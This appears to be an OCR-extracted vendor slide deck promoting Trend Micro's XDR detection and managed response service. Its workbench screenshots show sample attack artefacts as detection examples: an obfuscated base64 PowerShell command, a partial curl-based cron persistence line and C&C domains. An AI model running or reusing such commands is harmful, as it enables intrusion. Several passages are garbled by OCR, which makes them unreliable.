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...limited visibility to
..and little visibility threats affecting cloud

into email traffic and workloads

mailboxes

Today, the SOC gets
siloed insight into ~ ' :
: & Security ...a separate siloed
endpoints (EDR)... 8 Analyst .
Y view into network

events,
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Generating incomplete,
noisy SIEM alerts without

x.w Security

| bm Analyst

any context
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Attacks don’t stay in
silos! Security teams
need to piece together

what happened

xw Security

| bm Analyst
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XDR breaks down the
silos and instead of

noise, tells a story

Branch Office o oY
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?HQ Managed XDR (MDR) service
@ Expert threat hunting and investigation

Trend Micro XDR

Detect more with & Visualize the O Respond
o ®

| :
@ correlated models Q—ﬂ attack story confidently

Security Analytics + Threat Intelligence

Trend Micro XDR Data Lake

activity data
(telemetry, metadata,
logs, NetFlow...)

rotection _0 ) i
Ero;uctts also Q_E F@ LE@ |_| Future

_ ) Trend Micro
act as sensors Network Email Endpoint Cloud/Workload g 314 party
Deep Discovery Cloud App Apex One Cloud One —
Inspector Security Saas Workload Security




Each XDR Piece Adds Value, with One or Many

Endpoint — most attacks involve
users devices

* Find threats hidden amongst
endpoint telemetry

* What happened within the
endpoint? How did it
propagate?

Network - sees EDR blind spots
(unmanaged; legacy, loT, lloT)

* How is the attacker moving
across the organization?

* How is a threat
communicating?
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Email - 94% of malware

* Who else received this email or
a similar threat?

* APl integration for inside view

* Are there compromised
accounts sending internal
phishing emails?

Cloud/Workloads/Containers -
critical to business operations

e Correlates data from more
security controls than typical
EDR to solutions tell a more
complete story.

* What happened within the

workload?
Yy MICRO"



MITRE ATT&CK APT29: Highest Initial Detection

100,0%

90,0%

50.0% Evaluation conducted Dec
' 2019 before new XDR
70,0% platform.
60,0%
50.0% With XDR, tracking and
correlating attacker
oo behaviors gets even
30,0% better.....
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Managed XDR

MDR service

11 © 2020 Trend Micro Inc.
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Managed XDR:

Expert Threat Hunting

Cutting-edge techniques with
verification and enrichment by
threat experts

A\ AvALORA
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MDR Service by Trend Experts

24x7 Monitoring & Detection

Continuous monitoring and routine
sweeping of endpoint, server,
. network, and email

Rapid Investigation and Mitigation

Detailed response plan and remote
actions through Trend Micro products



Optimized Resources with Managed XDR

/ Re 3 1rene

, Events generated by Trend Micro products (includes 1K high
Executive Summary . . .
e i o AT S - priority events and 16K events which are not actionable but
provided to I for the time period between Mar 1st "19 and Mar 31st 19 needed for Compllance / V|S|b|||ty When |nvest|gat|ng |ater)

e :A
d 17,18k 1,01k | . N
. E——— S | - Standard managed service: corelates events and prioritizes

= G SRR 1 36 items which require further investigation by a Level II/IIl

o

A 0 3% 0 security analyst
Response i Investigations i ' Incidents :
@— T LT N i .
—@® 1 wig - Advanced managed service: Trend Micro security experts
S i i investigate each of the 36 events to determine if there is a
Fowsi security incident and provide a detailed response plan. (will not

Security events that were triggered by Trend Micro appliances and received by the TM be 0 InCIdentS eve ry month !)

MDR Security Analysts.
Monthly report from a customer subscribing to the
advanced Managed XDR services for endpoint and network

security events observed in your environment.

Sensors:

Locations and appliances active during this reporting period that provided logging and
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Why Trend Micro XDR?

14 © 2020 Trend Micro Inc.
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How is Trend Micro XDR different than

other approaches?

Trend Micro | Vendor-to-Vendor SOAR / SIEM
XDR partnershlp

Sharing of IOC’s between layers
for sweeping

Corelated detection of low
confidence events across layers

Deep understanding of all data
generated by layers

Integrated investigations in one
console

Integrated response actions
across layers

A\ AvALORA
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A Leader in the F ter™ W
S eader In e rorrester dave
Strong
Challengers Contenders Performers Leaders
822';.‘22 “Trend Micro delivers XDR functionality that can be
°"°"": impactful today.”
—The Forrester Wave™: Enterprise Detection and
Response, Q1 2020
FORRESTER’
WAVE
LEADER
Weaker Enterprise Detection
current And Response
offering
Weaker strategy P Stronger strategy
m AVALORA Market presence
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A Leader in 4 Key XDR Building Blocks

Detection & Response Endpoint Email
Challeng Contend Pt Leaders Chatenge c ety Leaters Chans
Stronger gt Mg :
s = —
A . .
= =
Weaker strategy » Stronger strategy Voo o wmpy S sy sty [— [P —
-OQPSQ Py P

eOO()

The Forrester Wave™:
Enterprise Detection and
Response, Q1 2020

The Forrester Wave™:
Endpoint Security Suites,
Q3 2019

The Forrester Wave™:
Enterprise Email Security,
Q2 2019

The Forrester Wave™:
Cloud Workload Security,

Q4 2019

“The Forrester Wave™ is copyrighted by Forrester Research, Inc. Forrester and Forrester Wave are
trademarks of Forrester Research, Inc. The Forrester Wave is a graphical representation of Forrester's call
on a market and is plotted using a detailed spreadsheet with exposed scores, weightings, and comments.

Forrester does not endorse any vendor, product, or service depicted in the Forrester Wave. Information is ’ TR E N Dm
based on best available resources. Opinions reflect judgment at the time and are subject to change.” J M1CRO
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How is Trend Micro XDR Unique?

Deep integration
across native
protection points

XDR

Detection. Investigation. Response.

. Cloud
Endpoint Network
Security m Security Vgggh'ﬁ?f

@ .

Cloud breadth and
timeliness of Linux support

Q Distinctive data so% -/

Uniqgue Email application

visibility for 94% of attacks

Sta rting Wlth phlshlng debiz:n CIoudTLinux SUSE Amazon
"N A

{2 > é 2
m AVALORA ubuntu CentOS Oracle Red Hat

18

Cross-layer security
analytics powered by
Trend Micro threat

intelligence

MITRE | ATT&CK

#1 In initial detection
(APT29, prior to new XDR platform)



Trend Micro XDR

Discover more
with correlated
detection

Integrated investigation
and response to stop
attackers faster

XDR

Detection. Investigation. Response.

: Cloud
Endpoint Network
Security m Security V%/ce)gtlﬁagj

Beyond the single vector approach to see more

TREND
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How is this different
from SIEM? EDR?
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SIEM (Security Information and Event Management)

Security alerts,
(but not all events)
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Phishing Email Word PowerShell Command AWS Nev.v Lateral
opened doc launched &Control Credentials ¢container movement
opened check-in Accessed created to container
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SIEM (Security Information and Event Management)

Collecting all endpoint activity, not just alerts

EDR (Endpoint Detection & Response)
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SIEM (Security Information and Event Management)

\

A Fewer, higher-fidelity alert that tells a story

XDR (with cloud data lake collecting all activity)

t + +tt t t t 1
o
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Phishing Email Word PowerShell Command AWS Ne : Lateral
opened doc launched & Control Credentials ¢€ontainer movement
opened check-in  Compromised created to container
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Trend Micro XDR | mwestigasion Werkbench

Summary CI0),
et oyt et Py &

Triggered 20%-2-9 01020

Highlights

@ Porsbie tgmarptuaiurg Lk
Tochnigue: Soeaptuieg Lk (THOD)
‘o.‘O"O u-Nous
L e gercy ) gt eformaton
L @ wew s taang com
L & s @ng.arroegy aremcrosoht com
s s rirer WPl par wmeters (Data
Stackng)

Tochrugque: PomerSrel (T286)
LOmu-naww

0 PP Unautherticated Remote Cade £ eecutnn

Demostracion
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[Emargency ) Wmportant Inlormation

& @

vdo-lab-center

S ¥ LaSArtTOeggyY SNMICT0s0M com

https://youtu.be/MtxtIT5 iZ4

Nnapp <aname:



https://youtu.be/MtxtlT5_iZ4

Additional information
on each XDR layer -

25 © 2020 Trend Micro Inc.
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Why add XDR to your Endpoints

Most attacks cross endpoints during their lifecycle

Detect: Security analytics finds threats hidden
amongst endpoint telemetry. IOC sweeping

Investigate: What happened within the endpoint?
How did it propagate? What tactics/techniques are
used

Respond: Isolate, stop process, delete/restore files

Going further with other XDR layers:
 Where did the threat originate?

 Where else is this threat in my network, workloads, email?

A\ AvALORA
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Activity Data:
* Processes

Executed Commands

Network Connections

Files Created/Accessed
Registry Modifications




Why add XDR to Email

Malware Infection Source Activity Data:

* Message Metadata
(external + internal email)

e Attachment Metadata
e External Links

. * User Activity (i.e. logins
94% Emall Source: Verizon Data i ( = )

Breach Investigations
Report, May 2019

Detect: Are there compromised accounts sending
internal phishing emails? 10C sweeping of mailboxes.

Investigate: Who else received this email / threat?
Respond: Quarantine email, delete email

A\ AvALORA
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Why Add XDR to Cloud/Server Workloads

‘ SIEM

—=|| |
A

Log Inspection Alert
Possible attack on the
SSH Server (or version

gathering)
Source: 3.211.84.114

A\ AVALGRA
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Alerts don’t tell whole story
This is likely one step of many...
What'’s the bigger picture?
Was the attacker successful?

Detect: high-fidelity detections correlated
from different security controls and
activities to tell a whole story. IOC sweeping

Investigate: Full visibility of activities help
answer; What happened within the
workload? How did it propagate?

Activity Data:
* User Account Activity
* Processes

Executed Commands

Network Connections

Files Created/Accessed

Registry Modifications




Workloads - Broader detection

Environments Telemetry Data Analysis

==y Host activities

_______ Process, File, Network, User Account, Container
&>docker QWS 3 vmware OS Platform System/Audit event logs
~~—-~" Google Cloud Wind . | (P Shell
@ Microsoft indows service logs (PowerShe
kubernetes 4 Azure W Hyper-v service/Remote desktop/Terminal Service) — XDR Managed
Web Server/FTP/Database/ Mail servers logs XDR
Platforms
Security Events/Anomalies/Changes
ul -3 Newly |
talled software/changes
] D o( o ewly Insta ware/ g
f\\) «Ty Application components changes
ON74 q
@ (\\/J & 47‘1@ Indicators of attack (I0As)
| Known attack footprints ‘
Cloud One — Workload Security Sensing Investigation & Response

m AVALORAight 2020 Trend Micro Inc. " -I\ln-l? E |;| EW




Detecting Container Platform Attacks

Docker and Kubernetes

Auto-detect Docker and Kubernetes

Detect SW changes Ii ‘*

docker

— Upgrades, Downgrades, Removal

Monitor Binaries for attribute changes

Monitor running Processes

Application
Container

Application
Container

— Dockerd, etcd, Kubelet, Kube-apiserver, etc..

kubernetes

Application
Container

(e.g. My*SQL) (e.g. NGINX) (e.g.Webapp)
Detect changes to critical files Docker Engine
— Config, certs, keys, yaml files, etc.. Kubernetes
Monitor for changes to iptables rules J

— Protect against unauthorized port changes

Detect changes to permissions in key directories

Inspects key events
— Eg. Errors from forbidden actions

m AVALO&RAight 2020 Trend Micro Inc.




Protecting the other “endpoints”

Uninstalled Security

—LJ = tﬁ ]
—— \ ml
Managed Printers Contractors lloT and loT BYOD
Devices ' Y '
EDR blind spots
\ ),

© 2020 Trend Micro Inc.
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Why add XDR to your Network

Activity Data:
_||— 9{( %( —  Traffic Flow
e = = B 4 oo
Managed Devices  Unmanaged Legacy loT lloT * Suspicious Traffic
\ Y a Y / Behaviors
\ EDR EDR blind spots )
\V/

Detect: See across the network including EDR blind spots.
Analytics discover complex threats. IOC sweeping.

Investigate: How is a threat communicating? How is the
attacker moving across the organization?

Respond: Where do | need to focus? Which

systems/devices are under attack?
N A\ AvALORA




Discover More with Correlated Detection

Security Analytics Engine finds Zero-day and Targeted Attacks

J Trend Micro XDR | petection Model Management

All products

0 Severity Model Description Applicable products
. Suspicious Script Execution Using Normal Application A local or remote scriptiet file was executed using Regsvr. Apex One / Apex One (Mac), Cloud One - Workload
Models consist of Security

m u |t| p | e ru |es ea C h Suspicious SDB Installation Detect someone tries to install .sdb file on the host to keep Apex One / Apex One (Mac), Cloud One - Workload
persistence Security

containing multiple
filters

Initial Access via Browser Leading to Script Execution A user have clicked a link which led to script execution and access Apex One / Apex One (Mac), Cloud One - Workload
to a suspicious IP or domain. Security

Suspicious DLL Execution Using Normal Application A windows utility was abused to be used as a proxy for the Apex One / Apex One (Mac), Cloud One - Workload
execution of a suspicious Dynamic-link library. Security

. Script Execution via Misnamed Executable Detect suspicious script execution launched by misnamed Apex One / Apex One (Mac), Cloud One - Wo
Comblnes ML) data executable file Security CO rrelates |OW
Sta C kl n g, Ot h er b |g Repetitive Web Reputation Services Detection by a A repetive connection to a Dangerous website was detected by WRS Apex One / Apex One (Mac), Cloud One - Wo co nf| d ence eve ntS
. Non-Browser Application on an endpoint wiich may signify that an unmitigated threat is Security ’
d ata dana |yS IS beaconing to a malicious host.

behaviors, actions
tec h N |q ues Suspicious Web Access via MS Office A suspicious web access was made from MS office application. gs::ncz;\e / Apex One (Mac), _ W|t h | N Or across

Possible SpearPhishing Attack via Link Suspicious Phishing URL in Email Attack Cloud App Security Secu r|ty Iaye rS

Suspicious Double Extension LNK File Execution Detect that LNK file with double extension launch suspicious script g , Cloud One - Workload

Possible APT Attack A backdoor was implanted in the system after a user has accesseda Apex One / Apex One (Mac), Cloud App Security
possible spearphishing link embedded in an email message.

[\ AvALORA
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Discover More with Correlated Detection

Security Analytics Engine finds Zero-day and Targeted Attacks

Additional rules in model would

Correlated Detection Example: Summary , . .
Combines low confidence Suspicious Web Access After Suspicious Email trlgger upon further aCtIVIty (flle
activities: | : downloaded, script run, ...) to

1) suspected phishing email raise detection score.

01 218

2020-04-20709:01:56Z

+

2) rare web domain accessed on

an endpoint Highlights

Possible Spearphishing Link

Spearphishing Link

Mapped tO MITRE (5 2020-04-19T03:38:162
tech N |q ues (Emergency] Important information

& www.bdfecfitddfg.com

& sam@jaguartmpeggy.onmicrosoft.com

Rare Web Domain Access (Data Stacking)

Standard Application Layer

om
» Z
clw)

[\ AvALORA
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Integrated Investigation and Response

Quickly visualize the story of an attack

Trend Micro XDR | workbench-WB-10797-20200329-0007

Summary oty Scroll timeline to see
& [Emergency] Important information

different stages of attack

Registry Run Keys / Startup Folder (Data

Stacking)

Technique: Registry Run Keys / Startup
Folder

(© 2020-03-28T03:57:42Z
=+ Heartbeat
= nimda

[] Nimda

Suspicious powershell parameters (Data
Stacking)

Technigue: PowerShell

Details of © 2020-03-28T04:43:487
. ‘\windows\system32\windowspowershell\v1.
Se I eCted O bJ eCt %po‘.vershell.exc -noni -win hidden -ep
bypass $r =
[text.encoding]::ascii.getstring([convert]::fro
mbase64string('jhnOucwke2lgptmyntasmzcz

otyOoyrmpsdkczgwmdiucgrmimxuayc7awyol o R i g ht-C I i C k O n O bj e CtS tO

w5vdchuzxnOlvbhdggagjgypkxsked1hzxgtg2h . .
pbgrjdgvticlgyxroicrlony6dgvtccatrmisdgvyi ‘ CheCk execut|0n p r0f| Ie
crmiclszwnicnnloltjtySeaxjly3rvenidojptzxrd \

dxjyzw50rglyzwn0Ob3j5kcrdlkrpecmyvjdg9yeub

hbwupo30kbg5rpu5ldy1pymply3ggsu8urmis ' Or network a na |ySIS

zvnOcmvhbsakziwnt3blbicsjljlywgnlcdszwfkv
3jpdgunoyrinjg9tmv3luSiamvjdcbiexriw100jh

npuck7jgxuay5tzwvrkcrzdfaswOlplinlzwtpeml
naw5dojpczwdpbik7jgxuay5szwfkkerinjgsme

wkc2lgktskyjyOpvtdb252zxj0xto6rnjvbujhc2u ’ TR E N D‘
m AVALORA 2nenoyxjbenjhesgkyjyoldasjgiznc5mzwsndg MICRDO
35 gpoyrzy0i9w1irlehqurw5jb2rpbmddojpvbmljb

2rllkdldfnOcmluzygkyjyOkttpzxggjhnjqjs="));



Integrated Investigation and Response

Quickly visualize the story of an attack

Trend Micro XDR | workbench-wB-10797-20200420-0007

See execution profile
of endpoints and [
cloud / server

i) Target Endpoint . )} First Observed Object . ) Matched Objects (32) Noteworthy Objects
workloads. Supports 8 croes
$ - bas!
90+ OS Ve rS I O n S . Command line: bash -¢ echo */1 (curl -fsSL - ::Z
p o
bas!
1
| .
Windows Mac Red Hat oo
@ N
debian CloudLinux  SUSE
O ) v (O
<. |
7 P, |
CentOS Oracle ‘
Linux
+ )
= o

» ©



Integrated Investigation and Response

Quickly visualize the story of an attack

(% Trend Micro XDR \ Investigation Workbench

Y

« C&C activities were detected on internal hosts with IP addresses 10.202.243.200 > via the suspicious object ( URL : http:/www.bdfecfi

X
d 0 43.200 com ¥ )to hosts with IP addresses 45.230.177.142 «» . C&C activities started
C&C Callback 5 019 01:53:17

04-16-2019 01:52:58 and ended  06-05-
High - 9 « Lateral moves were attempted to other internal hosts using FTP . The lateral move atte 06-04-2019 01:49:11 and ended 06-05-2019 01:49:43

: :
Graphically replay b « One or maro Intemal hosts with P addresses (SRS

. . . . [ Ye) « The suspicious objects ( http:/iwww.bdfecfitddfg.com ~ 3FF62E57F5B0BE2996FCF71FFCA1824555.
communication activity

detected contacting the same malicious sites

0A45DEC9A3AAETBFFOEIC271FB68C ~ 3395856CE81F2B7382DEE72602F798B642F 14140 ~ ) were detected in email(s)

ction history.

The arrow specifies the direction of data flow, from source to destination, with the arrowhead pointing to the destination

Internal Hosts External Servers

15t target and C&C

° 10.202.243.200 (=) Suspicious Email Actvity <~ [JJ] )EmailSender | | |
Sam-Miller-PC — FTP johndoe@usds.gov

— urP (145230177142 o o @

www.bdfecfitddfg.com

vdo-lab-center

Lateral movement o]

10.202.132.13 = [ = e
web-test-bed

L 2

; [\ AvALORA



Respond Faster and More Completely

From one place: Endpoint, email, workload, and network response actions

Contextual aware
choices for quick
response. Actions are
carried in multiple
security controls. (i.e.
Block IP takes affect in
endpoint, cloud, email)

Isolate devices
Terminate process

Block IPs

Retrieve files
Quarantine/delete email

[\ AvALORA
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Built-in Threat Intelligence

Automatically detect IOCs across your entire environment

(¥ Trend Micro XDR | threat Intelligence

8
@HEQ’% | research

- 15 threat research
centers worldwide

250M sensors globally

A\ AvALORA
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-~emee Trend Micro with

waeane ZDI discovered
== gver half the
-  vulnerabilities in

m Kaspersky Lab

u CERT/CC 2 O 1 8
m SecureAuth

2 Trillion Queries to the
Smart Protection Network

in 2018

(&) TREND.
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Proactive Threat Hunting

Trend Micro XDR | search

Search method: Query builder v
- Endpoint v > Telemetry v

User name EQUALS

Endpoint Assessment (6)

» win110johnd-7001

endpointIp : - MACaddress :

matchedAccounts : |1

» win10-davidg-7002

endpointIp : - MACaddress :

matchedAccounts : |1

v clientl

endpointIp : MACaddress :

matchedAccounts : |1
matchedAccount : firstSeen :

> dc01

endpointIp : y MACaddress :

matchedAccounts : |1

» Unknown endpoint name (Device GUID: e529be38-665

endpointIp : MACaddress :

matchedAccounts : |1

» ad-connect

‘D View History

operatingSystem :

= Saved Queries B Save Query

system X

operatingSystem :

operatingSystem :

operatingSystem :

lastSeen :

operatingSystem :

lastLogonUser :

lastLogonUser :

« Clear Search

Ourc 0 @

[ Export Results

Last 30 days v Q Search

Hunt through the data lake

&2 with a simple interface

lastLogonUser :

lastLogonUser :

firstLogged :

firstlLogged :

firstLogged :

firstlLogged :
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Customers see Value with XDR  Medifmpact
4

“It is pretty darn slick....the tuning isn’t as difficult or
as much work as with 3rd parties....ROl is huge.”

Larry Briggs
IT Security Engineer

“It is easier for my team to explain the attack
and go through the sequence of events; it’s like
reading a book. Easier to digest.”

Frank Bunton

CisO
[\ AVALORA @ wREN



